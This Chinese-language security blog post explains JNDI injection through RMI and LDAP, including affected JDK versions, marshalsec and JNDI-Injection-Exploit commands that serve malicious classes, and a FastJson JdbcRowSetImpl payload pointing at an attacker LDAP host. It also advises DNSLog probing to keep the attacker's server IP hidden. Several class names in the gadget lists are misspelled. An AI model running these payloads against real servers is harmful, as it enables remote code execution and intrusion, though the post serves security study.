JAVA-JNDI&RMI&LDAP

Fc04dB Lv4

# JNDI 注入

image-20240831152325398

JNDI (Java Naming and Directory Interface) 是一个应用程序设计的 API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,类似 JDBC 都是构建在抽象层上。

JNDI 注入,即当开发者在定义 JNDI 接口初始化时, lookup() 方法的参数可控,攻击者就可以将恶意的 url 传入参数远程加载恶意载荷,造成注入攻击。

通过 JNDI 接口,用户可以透明的调用远程服务,执行一些恶意命令

**RMI:** 远程方法调用注册表
**LDAP:** 轻量级目录访问协议

JNDI 注入对 JAVA 版本有相应的限制

协议 JDK6 JDK7 JDK8 JDK11
LADP 6u211 以下 7u201 以下 8u191 以下 11.0.1 以下
RMI 6u132 以下 7u122 以下 8u113 以下

image-20240831152849519

Java 为了将 Object 对象存储在 Naming 或 Directory 服务下,提供了 Naming Reference 功能,对象可以通过绑定 Reference 存储在 Naming 或 Directory 服务下,比如 RMI、LDAP 等。javax.naming.InitialContext.lookup ()

# JNDI 远程调用 - JNDI-Injection

  • 调用 rmi ldap 等服务对象类(远程服务
    ldap://121.41.34.25:1389/5x8adw = 远程地址的一个 class 文件被执行

image-20240831142243527

# JNDI 远程调用 - marshalsec

生成恶意程序

image-20240831144207389

将编译后的 .class 文件放在本地或者云服务器的 web 应用目录中

使用利用工具生成调用协议(rmi,ldap)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://0.0.0.0/#Test
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip.xx.xx.xxx/Test

使用远程调用 (默认端口 1389)

new InitialContext().lookup("ldap://xx.xx.xx.xx:1389/Test");
new InitialContext().lookup("rmi://xx.xx.xx.xx:1099/Test");

JNDI-Injection & marshalsec 实现原理:

例:RMI 调用

  • bind:将名称绑定到对象中;

  • lookup:通过名字检索执行的对象;

  • Reference 类表示对存在于命名 / 目录系统以外的对象的引用。

  • Reference 参数:

    • className:远程加载时所使用的类名;
    • classFactory:加载的 class 中需要实例化类的名称;
    • classFactoryLocation:远程加载类的地址,提供 classes 数据的地址可以是 file/ftp/http 等协议;

# DNS 协议

通过上面我们可知 JNDI 注入可以利用 RMI 协议和 LDAP 协议搭建服务然后执行命令,但有个不好的点就是会暴露自己的服务器 IP 。在没有确定存在漏洞前,直接在直接服务器上使用 RMI 或者 LDAP 去执行命令,通过日志可分析得到攻击者的服务器 IP ,这样在没有获取成果的前提下还暴露了自己的服务器 IP ,得不偿失。 我们可以使用 DNS 协议进行探测,** 通过 DNS 协议去探测是否真的存在漏洞,再去利用 RMI 或者 LDAP 去执行命令,** 避免过早暴露服务器 IP ,这也是平常大多数人习惯使用 DNSLog 探测的原因之一,同样的 ldaprmi 也可以使用 DNSLog 平台去探测。

# JNDI 注入 - FastJson

JavaEE 中接受用户提交的 JSON 数据进行转换 (FastJson 反序列化漏洞)

利用 InitialContext.lookup () 中的进行 JdbcRowSetImpl 类 JNDI 服务注入
漏洞利用 FastJson autotype 处理 Json 对象的时候,未对 @type 字段进行完整的安全性验证,攻击者可以传入危险类,并调用危险类连接远程 RMI 主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞,获取服务器敏感信息,甚至可以利用此漏洞进一步的对服务器数据进行操作。

创建一个接受 json 数据的 web 页面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
<head>
<title>JSP - Hello World</title>
</head>
<body>
<h1><%= "Hello World!" %></h1>
<br/>
<a href="hello-servlet">Hello Servlet</a>
<form action="http://localhost:8080/FastjsonJndi_war_exploded/json" method="post" >
pleasr input json data: <input type="text" name="str"><br>
<input type="submit" value="提交">
</form>
</body>
</html>

image-20240901234032948

生成远程调用方法

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 192.168.200.130

提交 JSON 数据 Payload

1
{“@type”:“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“ldap://192.168.200.130:1389/rbrx0t”,“autoCommit”:true}

------->img

Java 为了将 0bject 对象存储在 Naming 或 Directory 服务下,提供了 Naming14Reference 功能,对象可以通过绑定 Reference 存储在 Naming 或 Directory 服务下,
比如 RMI、LDAP 等。javax.naming.InitialContext.lookup ()

在 RMI 服务中调用了 InitialContext.lookup () 的类有:

  • org.springframework.transaction.ita.JtaTransactionManager.readObiect()
  • com.sun.rowset.UdbcRowSetImpl.execute()
  • javax.management.remote.rmi.RMIConneclor.connect()
  • org.hibernate.imx.StatisticsService.setSessionFactoryINDIName (String sfINDIName)

在 LDAP 服务中调用了 InitialContext.lookup () 的类有:

  • InitialDirContext.lookup()
  • Spring LdapTemplate.lookup()
  • LdapTemplate.lookupContext()

# 高版本绕过

[浅析高低版 JDK 下的 JNDI 注入及绕过 Mi1k7ea ]

如何绕过高版本 JDK 的限制进行 JNDI 注入利用 – KINGX

  • Title: JAVA-JNDI&RMI&LDAP
  • Author: Fc04dB
  • Created at : 2024-08-31 13:03:40
  • Updated at : 2024-09-02 00:32:22
  • Link: https://redefine.ohevan.com/2024/08/31/JAVA-JNDI-RMI-LDAP/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments